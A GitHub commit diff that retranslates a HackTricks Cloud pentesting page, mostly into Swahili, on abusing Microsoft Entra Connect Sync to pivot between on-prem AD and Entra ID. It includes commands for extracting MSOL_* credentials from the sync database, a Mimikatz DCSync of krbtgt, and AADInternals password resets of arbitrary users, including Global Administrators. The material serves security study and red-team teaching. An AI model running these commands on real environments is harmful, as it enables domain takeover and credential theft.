mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['', 'src/pentesting-cloud/azure-security/az-lateral-movement
This commit is contained in:
+55
-51
@@ -2,57 +2,61 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## Taarifa za Msingi
|
||||
|
||||
[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sync-whatis) Huduma za usawazishaji za Microsoft Entra Connect (Microsoft Entra Connect Sync) ni sehemu kuu ya Microsoft Entra Connect. Inashughulikia shughuli zote zinazohusiana na usawazishaji wa data za utambulisho kati ya mazingira yako ya ndani na Microsoft Entra ID.
|
||||
[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sync-whatis) Microsoft Entra Connect synchronization services (Microsoft Entra Connect Sync) ni sehemu kuu ya Microsoft Entra Connect. Inahakikisha shughuli zote zinazohusiana na kusawazisha data za utambulisho kati ya mazingira yako ya on‑premises na Microsoft Entra ID.
|
||||
|
||||
Huduma ya sync ina sehemu mbili, sehemu ya on‑premises **Microsoft Entra Connect Sync** na upande wa huduma katika Microsoft Entra ID unaoitwa **Microsoft Entra Connect Sync service**.
|
||||
|
||||
Ili kuitumia, inahitajika kusakinisha wakala wa **`Microsoft Entra Connect Sync`** kwenye server ndani ya mazingira yako ya AD. Wakala huyu ndiye atakayehakikisha ulandanishaji kutoka upande wa AD.
|
||||
|
||||
Ili kuitumia, inahitajika kufunga **`Microsoft Entra Connect Sync`** wakala kwenye seva ndani ya mazingira yako ya AD. Wakala huyu atakuwa ndiye anayeshughulikia usawazishaji kutoka upande wa AD.
|
||||
|
||||
<figure><img src="../../../../images/image (173).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Connect Sync** kimsingi ni njia ya "zamani" ya Azure ya **kusawazisha watumiaji kutoka AD hadi Entra ID.** Njia mpya inayopendekezwa ni kutumia **Entra Cloud Sync**:
|
||||
**Connect Sync** kwa msingi ni njia ya "zamani" ya Azure ya **kusawazisha watumiaji kutoka AD hadi Entra ID.** Njia mpya inayopendekezwa ni kutumia **Entra Cloud Sync**:
|
||||
|
||||
{{#ref}}
|
||||
az-cloud-sync.md
|
||||
{{#endref}}
|
||||
|
||||
### Principals Generated
|
||||
### Principals Zilizoundwa
|
||||
|
||||
- Akaunti **`MSOL_<installationID>`** inaundwa kiotomatiki katika AD ya ndani. Akaunti hii inapewa jukumu la **Directory Synchronization Accounts** (tazama [documentation](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions)) ambayo inamaanisha kwamba ina **idhini za replication (DCSync) katika AD ya ndani**.
|
||||
- Hii inamaanisha kwamba mtu yeyote anayepata akaunti hii ataweza kuathiri eneo la ndani.
|
||||
- Akaunti ya huduma iliyosimamiwa **`ADSyncMSA<id>`** inaundwa katika AD ya ndani bila ruhusa maalum za msingi.
|
||||
- Katika Entra ID, Msingi wa Huduma **`ConnectSyncProvisioning_ConnectSync_<id>`** unaundwa kwa kutumia cheti.
|
||||
- Akaunti **`MSOL_<installationID>`** huundwa moja kwa moja katika AD ya on‑prem. Akaunti hii inapewa jukumu la **Directory Synchronization Accounts** (angalia [documentation](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions)) ambayo inamaanisha kuwa ina ruhusa za **replication (DCSync) katika AD ya on‑prem**.
|
||||
- Hii inamaanisha kuwa mtu yeyote atakayefanikiwa kupata udhibiti wa akaunti hii ataweza kudhoofisha domain ya on‑premise.
|
||||
- Akaunti ya huduma iliyosimamiwa **`ADSyncMSA<id>`** huundwa katika AD ya on‑prem bila ruhusa maalum za chaguo‑asili.
|
||||
- Katika Entra ID Service Principal **`ConnectSyncProvisioning_ConnectSync_<id>`** huundwa na cheti.
|
||||
|
||||
## Synchronize Passwords
|
||||
## Kusawazisha Nywila
|
||||
|
||||
### Password Hash Synchronization
|
||||
### Ulinganisha Hash za Nywila
|
||||
|
||||
Sehemu hii inaweza pia kutumika **kusawazisha nywila kutoka AD hadi Entra ID** ili watumiaji waweze kutumia nywila zao za AD kuungana na Entra ID. Kwa hili, inahitajika kuruhusu usawazishaji wa nywila za hash katika wakala wa Microsoft Entra Connect Sync uliosakinishwa kwenye seva ya AD.
|
||||
Sehemu hii pia inaweza kutumika **kusawazisha nywila kutoka AD kwenda Entra ID** ili watumiaji waweze kutumia nywila zao za AD kuungana na Entra ID. Kwa hili, inahitajika kuruhusu password hash synchronization katika wakala wa Microsoft Entra Connect Sync uliosakinishwa kwenye server ya AD.
|
||||
|
||||
[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-phs) **Usawazishaji wa nywila za hash** ni moja ya mbinu za kuingia zinazotumika kufanikisha utambulisho wa mseto. **Azure AD Connect** inasawazisha hash, ya hash, ya nywila ya mtumiaji kutoka kwa mfano wa Active Directory wa ndani hadi mfano wa Azure AD wa wingu.
|
||||
[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-phs) **Password hash synchronization** ni mojawapo ya njia za kuingia zinazotumika kutimiza hybrid identity. **Azure AD Connect** inasawazisha hash, ya hash, ya nywila ya mtumiaji kutoka kwa instance ya on‑premises Active Directory hadi instance ya Azure AD iliyoko wingu.
|
||||
|
||||
Kimsingi, **watumiaji** wote na **hash ya nywila za hash** wanasawazishwa kutoka kwa AD ya ndani hadi Azure AD. Hata hivyo, **nywila za maandiko wazi** au **hash za asili** hazitumwi kwa Azure AD.
|
||||
Kwa msingi, **watumiaji wote** na **hash ya hash za nywila** husawazishwa kutoka on‑prem hadi Azure AD. Hata hivyo, **nywila za maandishi wazi** au **hashi asilia** hazitumwi hadi Azure AD.
|
||||
|
||||
**Usawazishaji wa hash** unafanyika kila **dakika 2**. Hata hivyo, kwa kawaida, **kuisha kwa nywila** na **kuisha kwa akaunti** **hakusawazishwi** katika Azure AD. Hivyo, mtumiaji ambaye **nywila yake ya ndani imeisha** (haijabadilishwa) anaweza kuendelea **kupata rasilimali za Azure** akitumia nywila ya zamani.
|
||||
Ulandanishaji wa **hashes** hufanyika kila **dakika 2**. Hata hivyo, kwa chaguo‑asili, **muda wa kumalizika kwa nywila** na **muda wa kumalizika kwa akaunti** **hayasawazishwi** katika Azure AD. Kwa hivyo, mtumiaji ambaye **nywila yake ya on‑prem imeisha muda** (haibadilishwi) anaweza kuendelea **kupata rasilimali za Azure** akitumia nywila ya zamani.
|
||||
|
||||
Wakati mtumiaji wa ndani anapotaka kupata rasilimali ya Azure, **uthibitishaji unafanyika kwenye Azure AD**.
|
||||
Wakati mtumiaji wa on‑prem anataka kufikia rasilimali za Azure, **uthibitisho hufanyika kwenye Azure AD**.
|
||||
|
||||
> [!NOTE]
|
||||
> Kwa kawaida, watumiaji wa vikundi vilivyo na mamlaka kama Domain Admins wenye sifa **`adminCount` kuwa 1 hawanasawazishwi** na Entra ID kwa sababu za usalama. Hata hivyo, watumiaji wengine ambao ni sehemu ya vikundi vyenye mamlaka bila sifa hii au ambao wamepewa mamlaka ya juu moja kwa moja **wanaweza kusawazishwa**.
|
||||
> Kwa chaguo‑asili watumiaji wa makundi yanayojulikana yenye nafasi za upendeleo kama Domain Admins wenye sifa ya **`adminCount` kuwa 1 hawasawazishwi** na Entra ID kwa sababu za usalama. Hata hivyo, watumiaji wengine ambao ni sehemu ya makundi yenye upendeleo bila sifa hii au waliopewa ruhusa za juu moja kwa moja **wanaweza kusawazishwa**.
|
||||
|
||||
|
||||
### Password Writeback
|
||||
|
||||
Mipangilio hii inaruhusu **kusawazisha nywila kutoka Entra ID hadi AD** wakati mtumiaji anabadilisha nywila yake katika Entra ID. Kumbuka kwamba ili kuandika nywila ifanye kazi, mtumiaji `MSOL_<id>` aliyeundwa kiotomatiki katika AD anahitaji kupewa [ruhusa zaidi kama ilivyoelezwa katika nyaraka](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback) ili aweze **kubadilisha nywila za mtumiaji yeyote katika AD**.
|
||||
Mipangilio hii inaruhusu **kusawazisha nywila kutoka Entra ID kwenda AD** wakati mtumiaji anapobadilisha nywila yake katika Entra ID. Kumbuka kwamba ili password writeback ifanye kazi, mtumiaji `MSOL_<id>` uliotengenezwa moja kwa moja katika AD anatakiwa kupewa [ruhusa zaidi kama ilivyoelezwa kwenye docs](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback) ili aweze **kubadilisha nywila za mtumiaji yeyote katika AD**.
|
||||
|
||||
Hii ni ya kuvutia sana kuathiri AD kutoka kwa Entra ID iliyovunjwa kwani utaweza kubadilisha nywila ya "karibu" mtumiaji yeyote.
|
||||
Hii ni ya kuvutia hasa kudhoofisha AD kutoka kwa Entra ID iliyodhuliwa kwani utaweza kubadilisha nywila ya "karibu" mtumiaji yeyote.
|
||||
|
||||
Wasimamizi wa eneo na watumiaji wengine wanaohusiana na vikundi vingine vya mamlaka hawana nakala ikiwa kikundi kina sifa **`adminCount` kuwa 1**. Lakini watumiaji wengine ambao wamepewa mamlaka ya juu ndani ya AD bila kuhusika na vikundi hivyo wanaweza kubadilisha nywila zao. Kwa mfano:
|
||||
Domain admins na watumiaji wengine walioko katika baadhi ya makundi yenye nguvu hawarejeshwi ikiwa kikundi kina sifa ya **`adminCount` kuwa 1**. Lakini watumiaji wengine ambao wamepewa ruhusa za juu ndani ya AD bila kuwa wanachama wa makundi hayo wanaweza kubadilishwa nywila zao. Kwa mfano:
|
||||
|
||||
- Watumiaji walipewa mamlaka ya juu moja kwa moja.
|
||||
- Watumiaji kutoka kikundi cha **`DNSAdmins`**.
|
||||
- Watumiaji kutoka kikundi **`Group Policy Creator Owners`** ambao wameunda GPOs na kuzipeleka kwa OUs wataweza kubadilisha GPOs walizounda.
|
||||
- Watumiaji kutoka **`Cert Publishers Group`** ambao wanaweza kuchapisha vyeti kwa Active Directory.
|
||||
- Watumiaji wa kikundi kingine chochote chenye mamlaka ya juu bila sifa **`adminCount` kuwa 1**.
|
||||
- Watumiaji waliopatiwa ruhusa za juu moja kwa moja.
|
||||
- Watumiaji wa kikundi **`DNSAdmins`**.
|
||||
- Watumiaji wa kikundi **`Group Policy Creator Owners`** ambao wameunda GPOs na kuziweka kwa OUs wataweza kuhariri GPOs walizozitengeneza.
|
||||
- Watumiaji wa kikundi **`Cert Publishers Group`** ambao wanaweza kuchapisha vyeti ndani ya Active Directory.
|
||||
- Watumiaji wa kikundi kingine chochote chenye ruhusa za juu bila sifa ya **`adminCount` kuwa 1**.
|
||||
|
||||
## Pivoting AD --> Entra ID
|
||||
|
||||
@@ -76,25 +80,25 @@ $searcher.FindAll()
|
||||
$searcher.Filter = "(samAccountName=Sync_*)"
|
||||
$searcher.FindAll()
|
||||
```
|
||||
Angalia kwa **Connect Sync configuration** (ikiwa ipo):
|
||||
Angalia usanidi wa **Connect Sync** (ikiwa ipo):
|
||||
```bash
|
||||
az rest --url "https://graph.microsoft.com/v1.0/directory/onPremisesSynchronization"
|
||||
# Check if password sychronization is enabled, if password and group writeback are enabled...
|
||||
```
|
||||
### Kutafuta nywila
|
||||
### Kupata nywila
|
||||
|
||||
Nywila za mtumiaji wa **`MSOL_*`** (na mtumiaji wa **Sync\_\*** ikiwa umeundwa) zime **hifadhiwa katika seva ya SQL** kwenye seva ambapo **Entra ID Connect imewekwa.** Wasimamizi wanaweza kutoa nywila za watumiaji hao wenye mamlaka kwa maandiko wazi.\
|
||||
Nywila za **`MSOL_*`** user (na user **Sync\_\*** ikiwa imeundwa) zimetunzwa kwenye **SQL server** kwenye server ambapo **Entra ID Connect imewekwa.** Wasimamizi wanaweza kutoa nywila za watumiaji hao wenye mamlaka kwa maandishi wazi.
|
||||
Hifadhidata iko katika `C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf`.
|
||||
|
||||
Inawezekana kutoa usanidi kutoka moja ya meza, ikiwa moja imefungwa:
|
||||
Inawezekana kutoa usanidi kutoka kwa mojawapo ya jedwali; moja yake imeencrypted:
|
||||
|
||||
`SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent;`
|
||||
|
||||
**Usanidi uliofungwa** umefungwa kwa **DPAPI** na unajumuisha **nywila za mtumiaji wa `MSOL_*`** katika AD ya ndani na nywila ya **Sync\_\*** katika AzureAD. Hivyo, kuathiri hizi kunawezesha kupandisha hadhi hadi AD na AzureAD.
|
||||
Usanidi uliosimbwa (the **encrypted configuration**) unasimbwa kwa **DPAPI** na una **nywila za `MSOL_*`** user katika on-prem AD na nenosiri la **Sync\_\*** katika AzureAD. Kwa hiyo, ukipata hizi mali (compromise) inawezekana kufanya privesc kwenye AD na AzureAD.
|
||||
|
||||
Unaweza kupata [muonekano kamili wa jinsi akreditivu hizi zinavyohifadhiwa na kufichuliwa katika mazungumzo haya](https://www.youtube.com/watch?v=JEIR5oGCwdg).
|
||||
Unaweza kupata [muhtasari kamili wa jinsi vitambulisho hivi vinavyohifadhiwa na kufumbuliwa katika hotuba hii](https://www.youtube.com/watch?v=JEIR5oGCwdg).
|
||||
|
||||
### Kutumia MSOL\_\*
|
||||
### Kutumia vibaya MSOL\_\*
|
||||
```bash
|
||||
# Once the Azure AD connect server is compromised you can extract credentials with the AADInternals module
|
||||
Install-Module -Name AADInternals -RequiredVersion 0.9.0 # Uninstall-Module AADInternals if you have a later version
|
||||
@@ -112,35 +116,35 @@ runas /netonly /user:defeng.corp\MSOL_123123123123 cmd
|
||||
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.local /dc:dc.domain.local"'
|
||||
```
|
||||
> [!WARNING]
|
||||
> Mashambulizi ya awali yalihatarisha nenosiri jingine ili kuungana na mtumiaji wa Entra ID anayeitwa `Sync_*` na kisha kuhatarisha Entra ID. Hata hivyo, mtumiaji huyu hayupo tena.
|
||||
> Mashambulizi ya awali yalipata nywila nyingine kisha kuunganishwa kama mtumiaji wa Entra ID anayeitwa `Sync_*` na kisha kuathiri Entra ID. Hata hivyo, mtumiaji huyu sasa haipo.
|
||||
|
||||
|
||||
### Kutumia ConnectSyncProvisioning_ConnectSync\_<id>
|
||||
### Abusing ConnectSyncProvisioning_ConnectSync\_<id>
|
||||
|
||||
Programu hii imeundwa bila kuwa na majukumu yoyote ya usimamizi wa Entra ID au Azure yaliyotolewa. Hata hivyo, ina ruhusa zifuatazo za API:
|
||||
Programu hii imeundwa bila kuwa na nyadhifa zozote za usimamizi za Entra ID au Azure zilizotengwa. Hata hivyo, ina ruhusa zifuatazo za API:
|
||||
|
||||
- Microsoft Entra AD Synchronization Service
|
||||
- `ADSynchronization.ReadWrite.All`
|
||||
- Huduma ya kurekebisha nenosiri ya Microsoft
|
||||
- Microsoft password reset service
|
||||
- `PasswordWriteback.OffboardClient.All`
|
||||
- `PasswordWriteback.RefreshClient.All`
|
||||
- `PasswordWriteback.RegisterClientVersion.All`
|
||||
|
||||
Imependekezwa kwamba SP wa programu hii bado inaweza kutumika kufanya baadhi ya vitendo vya kijasiri kwa kutumia API isiyoandikwa, lakini hakuna PoC iliyopatikana hadi sasa.\
|
||||
Katika hali yoyote, kufikiria kwamba hii inaweza kuwa inawezekana itakuwa ya kuvutia kuchunguza zaidi jinsi ya kupata cheti cha kuingia kama huduma hii ya kiongozi na kujaribu kukitumia vibaya.
|
||||
Imetatizwa kwamba SP ya programu hii bado inaweza kutumiwa kufanya baadhi ya vitendo vyenye mamlaka kwa kutumia API isiyoandikwa, lakini hakuna PoC iliyopatikana hadi pale ninavyojua.\
|
||||
Hata hivyo, tukidhani inaweza kuwa inawezekana, itakuwa ya kuvutia kuchunguza zaidi jinsi ya kupata cheti ili kuingia kama service principal hii na kujaribu kuitumia kwa matumizi mabaya.
|
||||
|
||||
Hii [blog post](https://posts.specterops.io/update-dumping-entra-connect-sync-credentials-4a9114734f71) ilitolewa hivi karibuni kabla ya mabadiliko kutoka kutumia mtumiaji `Sync_*` hadi huduma hii ya kiongozi, ilieleza kwamba cheti kilihifadhiwa ndani ya seva na ilikuwa inawezekana kukipata, kuunda PoP (Proof of Possession) yake na token ya grafu, na kwa hili, kuwa na uwezo wa kuongeza cheti kipya kwa huduma ya kiongozi (kwa sababu **service principal** inaweza kila wakati kujitengenezea cheti kipya) na kisha kukitumia kudumisha uthabiti kama SP.
|
||||
This [blog post](https://posts.specterops.io/update-dumping-entra-connect-sync-credentials-4a9114734f71) released soon after the change from using the `Sync_*` user to this service principal, explained that the certificate was stored inside the server and it was possible to find it, generate PoP (Proof of Possession) of it and graph token, and with this, be able to add a new certificate to the service principal (because a **service principal** can always assign itself new certificates) and then use it to maintain persistence as the SP.
|
||||
|
||||
Ili kutekeleza vitendo hivi, zana zifuatazo zimechapishwa: [SharpECUtils](https://github.com/hotnops/ECUtilities/tree/main/SharpECUtils).
|
||||
Ili kufanya vitendo hivi, zana zifuatazo zimetangazwa: [SharpECUtils](https://github.com/hotnops/ECUtilities/tree/main/SharpECUtils).
|
||||
|
||||
Katika uzoefu wangu, cheti hakihifadhiwi tena katika mahali ambapo zana ya awali ilikuwa ikitafuta, na kwa hivyo, zana hiyo haifanyi kazi tena. Hivyo, utafiti zaidi unaweza kuhitajika.
|
||||
Kwa mujibu wa [swali hili](https://github.com/hotnops/ECUtilities/issues/1#issuecomment-3220989919), ili kupata cheti, lazima uendeshe zana kutoka kwenye mchakato ambao umeiba **token ya mchakato `miiserver`**.
|
||||
|
||||
### Kutumia Sync\_\* [DEPRECATED]
|
||||
### Abusing Sync\_\* [DEPRECATED]
|
||||
|
||||
> [!WARNING]
|
||||
> Awali mtumiaji anayeitwa `Sync_*` aliumbwa katika Entra ID na ruhusa nyeti sana zilizotolewa, ambazo ziliruhusu kufanya vitendo vya kijasiri kama kubadilisha nenosiri la mtumiaji yeyote au kuongeza akidi mpya kwa huduma ya kiongozi. Hata hivyo, kuanzia Jan2025 mtumiaji huyu hauumbwi tena kwa kawaida kwani sasa programu/SP **`ConnectSyncProvisioning_ConnectSync_<id>`** inatumika. Hata hivyo, inaweza bado kuwepo katika mazingira mengine, hivyo inafaa kuangalia kwa ajili yake.
|
||||
> Awali mtumiaji aliyeitwa `Sync_*` aliumbwa katika Entra ID akiwa na ruhusa nyeti sana zilizotengwa, ambazo ziliruhusu kufanya vitendo vya kipaumbele kama kubadilisha nywila ya mtumiaji yeyote au kuongeza cheti kipya kwa service principal. Hata hivyo, tangu Jan2025 mtumiaji huyu haumbiwi tena kwa chaguo-msingi kwani sasa Application/SP **`ConnectSyncProvisioning_ConnectSync_<id>`** inatumika. Hata hivyo, bado inaweza kuwepo katika mazingira fulani, kwa hivyo inafaa kuangalia.
|
||||
|
||||
Kuhatarisha akaunti ya **`Sync_*`** inawezekana **kurekebisha nenosiri** la mtumiaji yeyote (ikiwemo Wasimamizi wa Kimataifa)
|
||||
Kuathiri akaunti ya **`Sync_*`** inawezekana **kuweka upya nywila** ya mtumiaji yeyote (ikiwa ni pamoja na Global Administrators)
|
||||
```bash
|
||||
Install-Module -Name AADInternals -RequiredVersion 0.9.0 # Uninstall-Module AADInternals if you have a later version
|
||||
Import-Module AADInternals
|
||||
@@ -164,7 +168,7 @@ Set-AADIntUserPassword -SourceAnchor "3Uyg19ej4AHDe0+3Lkc37Y9=" -Password "JustA
|
||||
|
||||
# Now it's possible to access Azure AD with the new password and op-prem with the old one (password changes aren't sync)
|
||||
```
|
||||
Inawezekana pia **kubadilisha nywila za watumiaji wa wingu tu** (hata kama hiyo siyo ya kutarajia)
|
||||
Pia inawezekana **kubadilisha nywila za watumiaji wa cloud pekee** (hata kama haikutarajiwa)
|
||||
```bash
|
||||
# To reset the password of cloud only user, we need their CloudAnchor that can be calculated from their cloud objectID
|
||||
# The CloudAnchor is of the format USER_ObjectID.
|
||||
@@ -173,14 +177,14 @@ Get-AADIntUsers | ?{$_.DirSyncEnabled -ne "True"} | select UserPrincipalName,Obj
|
||||
# Reset password
|
||||
Set-AADIntUserPassword -CloudAnchor "User_19385ed9-sb37-c398-b362-12c387b36e37" -Password "JustAPass12343.%" -Verbosewers
|
||||
```
|
||||
Ni pia inawezekana kutoa nenosiri la mtumiaji huyu.
|
||||
Pia inawezekana ku-dump nenosiri la mtumiaji huyu.
|
||||
|
||||
> [!CAUTION]
|
||||
> Chaguo lingine lingekuwa **kutoa ruhusa za kipaumbele kwa huduma ya msingi**, ambayo mtumiaji wa **Sync** ana **ruhusa** ya kufanya, na kisha **kupata huduma hiyo ya msingi** kama njia ya privesc.
|
||||
> Chaguo jingine lingeweza kuwa **assign privileged permissions to a service principal**, ambavyo **Sync** user ana **permissions** za kufanya, na kisha **access that service principal** kama njia ya privesc.
|
||||
|
||||
### Seamless SSO
|
||||
|
||||
Inawezekana kutumia Seamless SSO na PHS, ambayo inahatarishwa na matumizi mengine. Angalia katika:
|
||||
Inawezekana kutumia Seamless SSO pamoja na PHS, ambayo inaweza kuwa dhaifu kwa matumizi mabaya mengine. Angalia katika:
|
||||
|
||||
{{#ref}}
|
||||
az-seamless-sso.md
|
||||
@@ -188,10 +192,10 @@ az-seamless-sso.md
|
||||
|
||||
## Pivoting Entra ID --> AD
|
||||
|
||||
- Ikiwa kuandika nenosiri kumewezeshwa, unaweza **kubadilisha nenosiri la mtumiaji yeyote katika AD** ambayo inasawazishwa na Entra ID.
|
||||
- Ikiwa kuandika vikundi kumewezeshwa, unaweza **kuongeza watumiaji kwenye vikundi vya kipaumbele** katika Entra ID ambavyo vinasawazishwa na AD.
|
||||
- Ikiwa password writeback imewezeshwa, unaweza **modify the password of any user in the AD** ambaye ame-synchronized na Entra ID.
|
||||
- Ikiwa groups writeback imewezeshwa, unaweza **add users to privileged groups** katika Entra ID ambazo zimesynchronized na AD.
|
||||
|
||||
## Marejeleo
|
||||
## References
|
||||
|
||||
- [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-phs](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-phs)
|
||||
- [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/)
|
||||
|
||||
Reference in New Issue
Block a user